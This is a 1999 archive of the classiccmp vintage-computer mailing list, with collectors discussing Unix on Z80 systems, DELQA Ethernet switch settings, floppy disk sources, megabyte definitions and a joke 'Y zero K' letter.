a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From cswiger at wilma.widomaker.com Sat Jan 23 06:32:28 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:27 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <199901231039.FAA05318@pechter.nws.net> Message-ID: On Sat, 23 Jan 1999, Bill Pechter wrote: > > Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the > > original Unix was done on a 64KB address space machine... > > > > - Joe > > > There's a thing called Uzi that was done, but I think it required > some bank switching and 128kb. > From rigdonj at intellistar.net Sat Jan 23 09:18:47 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:27 2005 Subject: Where to buy Gorilla Banana printers? In-Reply-To: <001401be469d$88cf0130$01646464@codewarrior.fmstrategies.co m> Message-ID: <3.0.1.16.19990123091847.39cf2e1a@intellistar.net> Good grief, what for? Don't tell me that they've started becoming a collector's item! Joe At 01:56 AM 1/23/99 -0500, you wrote: >Anyone know where I can find a Gorilla Banana printer? I have searched all >the "normal" channels. These things were so popular in the early 80's, I >can't believe they have all disappeared. Thanks, > > >-------------------------------------------------------- >Todd Osborne >Senior Software Engineer >FMStrategies, Inc. >http://www.fmstrategies.com/ >-------------------------------------------------------- >FMStrategies, Inc: tosborne@fmstrategies.com >Internet E-Mail: todd.osborne@barnstormer-software.com >-------------------------------------------------------- >Founder of the Virtual Windows Class Library (C++) >http://www.barnstormer-software.com/vwcl/ >-------------------------------------------------------- >Anagrams? (http://www.wordsmith.org/anagram/) >Can you figure out this one? Want the answer? E-Mail me. >COCO VERDI MOM (Hint: Think Late 1970's Computer) >-------------------------------------------------------- >Quote: >"The timid die just like the daring, and if you don't take the plunge then >you'll just take the fall" - Michael Longcor > > From cdrmool at interlog.com Sat Jan 23 08:24:53 1999 From: cdrmool at interlog.com (Colan Mitchell) Date: Sun Feb 27 18:40:27 2005 Subject: OT: NeXT help needed In-Reply-To: <4.1.19990122230032.034eb100@office.ao.com> Message-ID: If anyone would be willing to help me out outside the list get my NeXT and modem up and running I'd really appreciate it. The FAQ's and news groups have not been of much use. For some reason my very sincere and not completely stupid questions have been virtually ignored on usenet. Even the people at the university that I bought it from have an odd angry impatience around these lovely black boxes. Is this what happens when you stare at NeXTstep too long? one becomes snotty and unwilling to share wisdom? I know thats not the case in this list so I'm begging for help from the kind people on it.... TIA colan P.S. thanks to everyone who has been responding to my INFORMER terminal questions. I'll do some more experiments with it this weekend. From mbg at world.std.com Sat Jan 23 08:24:25 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:27 2005 Subject: DELQA Switch Settings Message-ID: <199901231424.AA01408@world.std.com> >BTW, for a PDP-11 is there any real difference in the two cards? At least for RT-11, it doesn't matter from a programming standpoint since the NQ handler places the DELQA in DEQNA mode. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From mbg at world.std.com Sat Jan 23 08:34:16 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:27 2005 Subject: Memory. (was: Reliability of wrong media) Message-ID: <199901231434.AA06613@world.std.com> "Buck Savage" wrote: >>Heck - my home PC has 128 Mb... which shows up through the >>POST as 130nnn (I forget the last three digits). > >128 * 1024 =3D 131072 > >Hence, if your display is > >131072K > >then your display is accurate. And it isn't what is displayed, though it is what I expected... >K means 1024, and that is universally accepted by all programmers! It >is we, the programmers of the world, who define the value of such >symbols, and = I say, it is also our prerogrative if ensure that their >use by lay persons is = accurate. This is not any different than du Pont >protecting the meaning of the = name teflon, nor Xerox the meaning of the >name Xerox. > >If this is not the display, then perhaps it is > >(128 * 1024) - (1024 - 640) =3D 130688 This looks more like it, and in fact is what I realized last night as I was writing a reply on this topic... so I did finally figure it out... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From dburrows at netpath.net Sat Jan 23 09:11:41 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:27 2005 Subject: DELQA Switch Settings Message-ID: <003a01be46e2$ccbb4210$bf281bce@tower166> SW1 closed = CSR 17774440 default SW1 open= CSR 17774460 SW2 reserved SW3 mode * SW4 option * SW5 reserved Default = all closed *remote boot and sanity timer - call me for these as my right hand is healing and typing is difficult. Dan -----Original Message----- From: Zane H. Healy To: Discussion re-collecting of classic computers Date: Saturday, January 23, 1999 12:05 AM Subject: DELQA Switch Settings >OK, I'm almost ready to downgrade my PDP-11/73 to a DEQNA since I've got >plenty of Doc's for it :^) > >Does anyone have the switch settings for DELQA ethernet card such as they are? > >BTW, for a PDP-11 is there any real difference in the two cards? > > Zane >| Zane H. Healy | UNIX Systems Adminstrator | >| healyzh@aracnet.com (primary) | Linux Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.dragonfire.net/~healyzh/ | > From marvin at rain.org Sat Jan 23 09:42:08 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. References: <000c01be46ad$4d23c930$01010101@amranhqpo000000.jps.net> Message-ID: <36A9EDD0.6BDAE742@rain.org> Buck Savage wrote: > > The act in which we all participate, the collection, repair and restoration, > and operation of collectable computers and software has become vogue. Hence, > given our collective expertise on this matter, it is our opportunity to > effect the language and propriety of our activity. I am sure that many would benefit > from a formal presentation of the collective view of the propriety of applying > the term "classic" to a computer, etc. I fully agree. We have one of the Karpeles Manuscript Librarys here in Santa Barbara, and one of my "to do" items is to talk to the person who started it. I was talking to one of the people down there who indicated Mr. (Dr.?) Karpeles started buying manuscripts about 20 years ago, and is one of the people responsible for raising the awareness of their historical value. (BTW, they also have the Apollo onboard computer, or at least part of it, on display down there now.) Some of the things they are doing are what Sam has done with VCF (displays of important documents, frequent talks on pertinent subjects, etc.) and thus raising public awareness of their importance. From edick at idcomm.com Sat Jan 23 09:46:32 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <19990123160115826.AAA167@fuj034cpc2f> This is all well and good, but for the fact, it seems peculiar to refer to, and deal with, as "classic", machines, the architecture of which is still supported with currently available commercial, off-the shelf, software and hardware products. DIGITAL products aside, the original PC architecture is still supported with software and hardware in the form of playing-card-sized mocrocontrollers, etc. and the software to develop for and test these devices is still available, thereby extending the life of these old but still capable devices. The term classic, seemingly a qualifier to this list, must refer to SOME class. Isn't it like the old ('50's) T-bird, vis-a-vie the Edsel? Dick ---------- > From: Doug > To: Discussion re-collecting of classic computers > Subject: Re: Legitimacy of the Ten Year Rule. > Date: Saturday, January 23, 1999 2:00 AM > > On Sat, 23 Jan 1999, Buck Savage wrote: > > > To do so would not be different from the same activity as applied to > > antiques, numismatics, philately, etc. It is exactly in this way that > > these, and other, standards of collectability (a measure of "value" not > > necessarily economically justifiable) are derived, becoming manifest. > > A "universal" rating/certification system, similar to the way coins are > graded, would be ideal. But I don't think you'll ever get this group to > agree on anything -- just do it! (And then sell a book.) > > Forget the word "classic". A guide that gives production numbers, > variations, years, criteria to judge condition, price, etc. would be cool > -- I'd buy one, and I'd buy a new copy every year as you updated prices > and other info. > > Start with Hans P's list of machines (and pay him royalties). > > -- Doug > From jrkeys at concentric.net Sat Jan 23 09:59:23 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:27 2005 Subject: Where to buy Gorilla Banana printers? In-Reply-To: <001401be469d$88cf0130$01646464@codewarrior.fmstrategies.com> Message-ID: <000201be46e9$5832c880$b4b0adce@5x86jk> I do have a couple back in Houston with condition unknown at this time. When I go back in June I will check and may make a trade. I got them at Goodwill thrift stores in Houston. > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Todd Osborne > Sent: Saturday, January 23, 1999 12:57 AM > To: Discussion re-collecting of classic computers > Subject: Where to buy Gorilla Banana printers? > > > Anyone know where I can find a Gorilla Banana printer? I have searched all > the "normal" channels. These things were so popular in the early 80's, I > can't believe they have all disappeared. Thanks, > > > -------------------------------------------------------- > Todd Osborne > Senior Software Engineer > FMStrategies, Inc. > http://www.fmstrategies.com/ > -------------------------------------------------------- > FMStrategies, Inc: tosborne@fmstrategies.com > Internet E-Mail: todd.osborne@barnstormer-software.com > -------------------------------------------------------- > Founder of the Virtual Windows Class Library (C++) > http://www.barnstormer-software.com/vwcl/ > -------------------------------------------------------- > Anagrams? (http://www.wordsmith.org/anagram/) > Can you figure out this one? Want the answer? E-Mail me. > COCO VERDI MOM (Hint: Think Late 1970's Computer) > -------------------------------------------------------- > Quote: > "The timid die just like the daring, and if you don't take the plunge then > you'll just take the fall" - Michael Longcor > > From marvin at rain.org Sat Jan 23 10:03:47 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. References: Message-ID: <36A9F2E3.5BE52266@rain.org> Doug wrote: > > Forget the word "classic". A guide that gives production numbers, > variations, years, criteria to judge condition, price, etc. would be cool That is for sure!!! We have production numbers from reliable sources for several computers including the Sol-20 (10,000 w/ ~5000 kits, 5000 assm.), Lobo Max-80 (5000), and several others that skip my mind. The variations are a really important point to bring out, at least from the standpoint of collectors as it helps to date the units. Another thing that would be VERY useful is a *brief* setup guide to show how to test if the computer is actually working. I have a friend of mine who has been compiling over the last 10 years or so a price guide to Amateur Radio Equipment (and I harass him regularly to publish it.) He has some very specific criteria as to grading the condition of equipment that helps to take out a lot of the subjective element. But keeping up with the pricing can be a full time job, and a network of people working together on a common database might be a good approach. BTW, that is one reason I consider ebay and similar sites to be so important; they provide some real life pricing of vintage equipment. Whether someone agrees or not with that pricing is irrelevant. From mark_k at iname.com Sat Jan 23 09:35:28 1999 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:40:28 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes Message-ID: On Thu, 21 Jan 1999 Tony Duell wrote: >Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find >(what about 1.2 Mbyte ones - are they still available?), 3" disks are >impossible to find. I'd better start hoarding them... You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may be *Really* expensive; I noticed on the Imation web site a couple of months ago that (from memory) a box of 8" disks was over US$100. 3" disks are still available new from at least one place in the UK, though they are over 2 pounds each. -- Mark From edick at idcomm.com Sat Jan 23 10:22:36 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:28 2005 Subject: Where to buy Gorilla Banana printers? Message-ID: <19990123163558360.AAA87@fuj034cpc2f> That's definitely the answer . . . Thrift Stores . . . I donated about a dozen terminals and nearly as many daisywheel printers to them last year just to have the things out of here. It's amazing what you find there. Dick ---------- > From: John R. Keys Jr. > To: Discussion re-collecting of classic computers > Subject: RE: Where to buy Gorilla Banana printers? > Date: Saturday, January 23, 1999 8:59 AM > > I do have a couple back in Houston with condition unknown at this time. > When I go back in June I will check and may make a trade. I got them at > Goodwill thrift stores in Houston. > > > -----Original Message----- > > From: CLASSICCMP-owner@u.washington.edu > > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Todd Osborne > > Sent: Saturday, January 23, 1999 12:57 AM > > To: Discussion re-collecting of classic computers > > Subject: Where to buy Gorilla Banana printers? > > > > > > Anyone know where I can find a Gorilla Banana printer? I have searched all > > the "normal" channels. These things were so popular in the early 80's, I > > can't believe they have all disappeared. Thanks, > > > > > > -------------------------------------------------------- > > Todd Osborne > > Senior Software Engineer > > FMStrategies, Inc. > > http://www.fmstrategies.com/ > > -------------------------------------------------------- > > FMStrategies, Inc: tosborne@fmstrategies.com > > Internet E-Mail: todd.osborne@barnstormer-software.com > > -------------------------------------------------------- > > Founder of the Virtual Windows Class Library (C++) > > http://www.barnstormer-software.com/vwcl/ > > -------------------------------------------------------- > > Anagrams? (http://www.wordsmith.org/anagram/) > > Can you figure out this one? Want the answer? E-Mail me. > > COCO VERDI MOM (Hint: Think Late 1970's Computer) > > -------------------------------------------------------- > > Quote: > > "The timid die just like the daring, and if you don't take the plunge then > > you'll just take the fall" - Michael Longcor > > > > From edick at idcomm.com Sat Jan 23 10:27:05 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:28 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes Message-ID: <19990123164016702.AAA316@fuj034cpc2f> I have quite a number of experienced 8" diskettes I haven't discarded yet, and a few (30-40) of the 5-1/4 types (unused) which I'd be happy to send you, if you don't mind picking up the freight. Some of those 8" diskettes even have useful stuff on them. I once "inherited" a friend's collection of CP/M software but never got around to useing it for anything, since it was in some wierd format I couldn't read at the time. Dick ---------- > From: Mark > To: Discussion re-collecting of classic computers > Subject: Re: FYI: MEI/Microcenter is out of 5-1/4" diskettes > Date: Saturday, January 23, 1999 8:35 AM > > On Thu, 21 Jan 1999 Tony Duell wrote: > >Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find > >(what about 1.2 Mbyte ones - are they still available?), 3" disks are > >impossible to find. I'd better start hoarding them... > > You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may be *Really* > expensive; I noticed on the Imation web site a couple of months ago that (from > memory) a box of 8" disks was over US$100. > > 3" disks are still available new from at least one place in the UK, though they > are over 2 pounds each. > > > -- Mark From lemay at cs.umn.edu Sat Jan 23 10:40:54 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:28 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: from Mark at "Jan 23, 1999 03:35:28 pm" Message-ID: <199901231640.KAA23758@thufir.cs.umn.edu> > On Thu, 21 Jan 1999 Tony Duell wrote: > >Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find > >(what about 1.2 Mbyte ones - are they still available?), 3" disks are > >impossible to find. I'd better start hoarding them... > > You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may be *Really* > expensive; I noticed on the Imation web site a couple of months ago that > (from memory) a box of 8" disks was over US$100. > > 3" disks are still available new from at least one place in the UK, though > they are over 2 pounds each. > > -- Mark > For 8" floppies, check out http://www.athana.com/html/disc.html They sell a box of 10 8" floppies for $20 +/- $1. And bulk 8" floppies (minimum quantity 500) are $1.75 Has anyone ordered 8" floppies from california Digital? They have double density 8", but they dont specifically state its double sided.. Still, the price is listed at $12.95 Whats the best source for 5.25" bulk floppy disks these days? -Lawrence LeMay From fmc at reanimators.org Sat Jan 23 11:50:05 1999 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: Gary Oliver's message of Fri, 22 Jan 1999 23:04:36 -0800 References: <4.1.19990122230032.034eb100@office.ao.com> Message-ID: <199901231750.JAA00136@daemonweed.reanimators.org> Gary Oliver wrote: > Damn. I'm home and can't look it up... But I believe I recall something > called (IIRC) "Micronix" (or something similar) that ran on a Godbout > or Morrow system. I have some hardware documentation for the system > that ran it - got it in anticipation of getting one of the S-100 CPU > boards. Yep. It was a Morrow thing and I think it ran on the Decision 1 system (not the Micro Decision which is completely different). I ran into someone once who said he had experience of running Micronix and told me I did *not* want to try running it. Heh. > The system had a memory paging system on top of a Z-80 and included > some fairly sophisticated protection (both memory and I/O) that would > have permitted a Unix-like system to operate securely. Likewise my docs and disks (and hardware) are buried in storage, but from what I remember this is all on the Z80 card and described well enough to code around in its manual. It divides the Z80's 64KB address space and the IEEE-696 16MB address space into 4KB pages, so that any page in the Z80 address space can be mapped to any page in the -696 space, and it keeps 16 page tables (called "tasks") in RAM on the Z80 card. Task 0 is special (the "supervisor") in that one of its pages is the page table RAM. The page table entries have protection bits that mark a page for various sorts of access, and if the Z80 tried to access memory in a way that wasn't allowed, the card would force an interrupt in task 0's context so that task 0 could figure out what to do (which could mean something like increasing the failing task's memory allocation and retrying the operation). I think the CPU card for the Decision 1 is the Morrow MPZ80, but can't remember if I have the part name right or not. It's a fancy IEEE-696 Z80 card. If anyone has clues on the proper system configuration for Micronix, I'm interested -- it's been a while, but I did try to get it to boot once upon a time without much success. -Frank McConnell From rigdonj at intellistar.net Sat Jan 23 14:06:19 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:28 2005 Subject: Memory. (was: Reliability of wrong media) In-Reply-To: <199901231434.AA06613@world.std.com> Message-ID: <3.0.1.16.19990123140619.41e7bf92@intellistar.net> At 09:34 AM 1/23/99 -0500, you wrote: >"Buck Savage" wrote: > >>>Heck - my home PC has 128 Mb... which shows up through the >>>POST as 130nnn (I forget the last three digits). >> >>128 * 1024 =3D 131072 >> >>Hence, if your display is >> >>131072K >> >>then your display is accurate. > >And it isn't what is displayed, though it is what I expected... Some BIOSs don't count the memory between 640K and 1024K so the amount of memory that POST shows may be off by 384K. K=1024 bytes. Joe From dwollmann at ibmhelp.com Sat Jan 23 12:18:13 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:28 2005 Subject: Linux and 8" diskettes? In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Tony Duell wrote: > > > > > > I've been thinking about trying to use my Microtech 8" drive unit, which is > > attached to a fairly standard FDC, to read IBM 3740-format (Sys/23, Sys/36, > > Displaywriter, etc.) diskettes from Linux. I did some reading on 'fdutils' and > > found one brief mention of 8" diskettes, but nothing really useful, for obvious > > reasons I guess. Has anyone tried this or anything like it on Linux? > > > I have never tried hooking up an 8" drive, but I have used the FDRAWCMD > ioctl() call to read and write alien disks on this linux box. > > This ioctl() is almost undocumented. The best way to figure out how to > use it is to read the kernel sources, and have the Intel data book > handy. All I can say is that when you have worked it out, it's a lot > easier to handle alien disks under linux than under MS-DOS (I did that > once, and it drove me even more insane...) kernel sources I've got, and plenty of 'em. (I'm thinking seriously about trying 2.2.0-final, for the SCSI driver fixes--maybe the MTIOCGET ioctl() will see EOD and EOT now.) > > If I get a chance I'll throw together a text file documenting the > parameters to FDRAWCMD so that at least you don't have to do the same > hacking that I did. > From allisonp at world.std.com Sat Jan 23 12:22:17 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <199901231822.AA04249@world.std.com> > >(Translated from Latin scroll dated 2 BC) > >Dear Cassius: > >Are you still working on the Y zero K problem? This change from BC to AD is giving us a lot of headaches and we haven't much time left. I don't know how people will cope with working the wrong way around. Having been working happily downwards forever, now we have to start thinking upwards. You would think that someone would have thought of it earlier and not left it to us to sort it all out at this last minute. > >I spoke to Caesar the other evening. He was livid that Julius hadn't done something about it when he was sorting out the calendar. He said he could see why Brutus turned nasty. We called in Consultus, but he simply said that continuing downwards using minus BC won't work and as usual charged a fortune for doing nothing useful. Surely, we will not have to throw out all our hardware and start again? Macrohard will make yet another fortune out of this I suppose. > >The money lenders are paranoid of course! They have been told that all usury rates will invert and they will have to pay their clients to take out loans. Its an ill wind.... > >As for myself, I just can't see the sand in an hourglass flowing upwards. We have heard that there are three wise men in the East who have been working on the problem, but unfortunately they won't arrive until it's all over. > >I have heard that there are plans to stable all horses at midnight at the turn of the year as there are fears that they will stop and try to un backwards, causing immense damage to chariots and possible loss of life. Some say the world will cease to exist at the moment of transition. Anyway, we are still continuing to work on this blasted Y zero K problem. I will send a parchment to you if anything further develops. > >If you have any ideas please let me know. > >Plutonius > > > From erd at infinet.com Sat Jan 23 12:39:17 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:28 2005 Subject: LCDs In-Reply-To: from "Zane H. Healy" at Jan 22, 99 10:43:34 pm Message-ID: <199901231839.NAA13433@user2.infinet.com> > > >lcdproc 0.4pre1 (and up) has a joystick driver for buttons not attached > >to the LCD module. I have been frantically looking for my Gravis joypad > >to no avail. :-( > > Hrmmm? OK, I'll show my lack of non-UNIX PC knowledge here, what does a > Gravis Joypad connect to, and would one work on a Alpha Multia? A standard PeeCee joystick port - 15 pins. If the Alpha Multia had a sound card or an ISA multi I/O, you'd be set, if the Intel code to bang on the port worked. > The code is in C, right? lcdproc is written in C. I was contemplating just some basic string printing stuff for RT, not lcdproc. > ...I imagine that it's heavily involved with the Linux /proc filesystem. Yes it is. :-( I'm attempting to unhose that dependency with Solaris. > I think for RSX or RSTS it would be cool just to have it show how many > users are currently online and that the system is running. Of course > ideally more. As long as those stats are easily garnered from the OS, it's a snap. > COOL, how much of that would be applicable to SunOS? Myself and one of the > people at work would love to see about connecting this to an Auspex, and > they run a chopped up version of SunOS. Dunno. I have never attempted to aquire kernel stats under SunOS. Solaris is bad enough. Some stuff is easy, other stuff you have to walk the entire process structure and tally each individual process. :-P -ethan From amirault at epix.net Sat Jan 23 13:10:15 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:28 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes References: Message-ID: <36AA1E97.C6AF6B5A@epix.net> Hi, I just FDISKed a 428 meg hard drive and this program says that 1MBYTE=1048576BYTES. I hope that this clears things up for everyone. John Amirault Fred Cisin (XenoSoft) wrote: > On Thu, 21 Jan 1999, Sam Ismail wrote: > > No, a megabyte is not a power of two number. A megabyte = 1,000,000 > > bytes. So 1.44 megabytes = 1.44 million bytes = roughly 1,440,000 bytes. > > So 1.44MB disk drive is not a misnomer. > > Since those disks have a formatted capacity of 1,474,560, how do you > arrive at 1.44 not being a misnomer? It would seem to me that using > 1,000,000 bytes per megabyte would make that 1.47, not 1.44. Could you > explain? > > -- > Fred Cisin cisin@xenosoft.com > XenoSoft http://www.xenosoft.com > 2210 Sixth St. (510) 644-9366 > Berkeley, CA 94710-2219 From yakowenk at cs.unc.edu Sat Jan 23 13:38:55 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:28 2005 Subject: BNF pickiness. (was Re: Reiability of wrong media, etc.) Message-ID: <199901231938.OAA12125@dgs.cs.unc.edu> ] ... ] There's a reason why I personally rarely reduce abbreviations all ] the way to two characters. I usually use {K|M|G}b{y|i}t[e][s]. If ] I leave it at just {K|M|G}, assume bytes. When you use "Kbyts", "Kbite", or "KBites", what does it mean? :-) How about {K|M|G}b{yte|it}[s]? Or even {K|M|G}{byte|bit}[s], which is less efficient, but clearer to humans? Any good compiler would optimize it to the former anyway. Cheers, Bill. ] -- ] Ward Griffiths ] "the timid die just like the daring; and if you don't take the plunge then ] you'll just take the fall" Michael Longcor From amirault at epix.net Sat Jan 23 14:37:32 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:28 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes References: <199901231640.KAA23758@thufir.cs.umn.edu> Message-ID: <36AA330C.7B8BFBC1@epix.net> Lawrence, Hi. In my humble opinion, the best source for floppies in bulk is your local thrift store(Salvation Army, Goodwill, etc.). I get 5.25" 360K floppies,3.5" 1.22meg floppies,3.5" 720K floppies, I have even seen 8" floppies from time to time. I usually offer 10 cents a disk and the clerk says OK. John Amirault Lawrence LeMay wrote: > > On Thu, 21 Jan 1999 Tony Duell wrote: > > >Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find > > >(what about 1.2 Mbyte ones - are they still available?), 3" disks are > > >impossible to find. I'd better start hoarding them... > > > > You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may be *Really* > > expensive; I noticed on the Imation web site a couple of months ago that > > (from memory) a box of 8" disks was over US$100. > > > > 3" disks are still available new from at least one place in the UK, though > > they are over 2 pounds each. > > > > -- Mark > > > > For 8" floppies, check out http://www.athana.com/html/disc.html > > They sell a box of 10 8" floppies for $20 +/- $1. And bulk 8" floppies > (minimum quantity 500) are $1.75 > > Has anyone ordered 8" floppies from california Digital? They have double > density 8", but they dont specifically state its double sided.. Still, the > price is listed at $12.95 > > Whats the best source for 5.25" bulk floppy disks these days? > > -Lawrence LeMay From ard at p850ug1.demon.co.uk Sat Jan 23 12:42:03 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: PC's Limited In-Reply-To: <199901230604.BAA29464@user2.infinet.com> from "Ethan Dicks" at Jan 23, 99 01:04:18 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 742 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/f7a5a840/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 23 12:44:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <007f01be469c$24f808b0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 22, 99 10:46:44 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 550 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/84e1fddf/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 23 12:53:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Memory. (was: Reliability of wrong media) In-Reply-To: <002a01be46b0$ae58dbc0$01010101@amranhqpo000000.jps.net> from "Buck Savage" at Jan 23, 99 01:13:44 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 795 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/0bbf4d24/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 23 12:57:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <199901231039.FAA05318@pechter.nws.net> from "Bill Pechter" at Jan 23, 99 05:39:28 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 202 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/1dba71dc/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 23 14:27:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <36A9F2E3.5BE52266@rain.org> from "Marvin" at Jan 23, 99 08:03:47 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 5380 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/4b7d9302/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 23 14:35:23 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:28 2005 Subject: Linux and 8" diskettes? In-Reply-To: from "David Wollmann" at Jan 23, 99 12:18:13 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2476 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/390fd67b/attachment.ksh From marvin at rain.org Sat Jan 23 16:49:08 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:28 2005 Subject: ebay: Timex Sinclair Computers References: Message-ID: <36AA51E4.8C968F0C@rain.org> Here is another ebay "bargain", starting price *only* $250. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58331776 From edick at idcomm.com Sat Jan 23 16:59:20 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:28 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <19990123231238142.AAA89@fuj034cpc2f> This notion of cooking up or breathing new life into an old 8-bit model to run *NIX is probably a mite more than has been considered for one reason. *NIX tends to want to use virtual memory, without which many systems would quickly choke. The old CPM-capables don't support VM. A good reason for this is probably the lack of performance. regards, Dick ---------- > From: Tony Duell > To: Discussion re-collecting of classic computers > Subject: Re: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] > Date: Saturday, January 23, 1999 11:44 AM > > > Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the > > original Unix was done on a 64KB address space machine... > > The problem with any multi-tasking or multi-user system on a Z80 is that > there is no easy way to write position-independant code. There is no > relative call and no relative loads/stores (both the PDP11 and the 6809 > have them). There are workarounds (either you use RST instructions to > simulate the relative call, etc or you relocate the task when you load > it), but they make life a little harder. > > -tony From healyzh at aracnet.com Sat Jan 23 17:18:07 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:28 2005 Subject: DELQA Switch Settings In-Reply-To: <003a01be46e2$ccbb4210$bf281bce@tower166> Message-ID: >SW1 closed = CSR 17774440 default >SW1 open= CSR 17774460 >SW2 reserved >SW3 mode * >SW4 option * >SW5 reserved >Default = all closed >*remote boot and sanity timer - call me 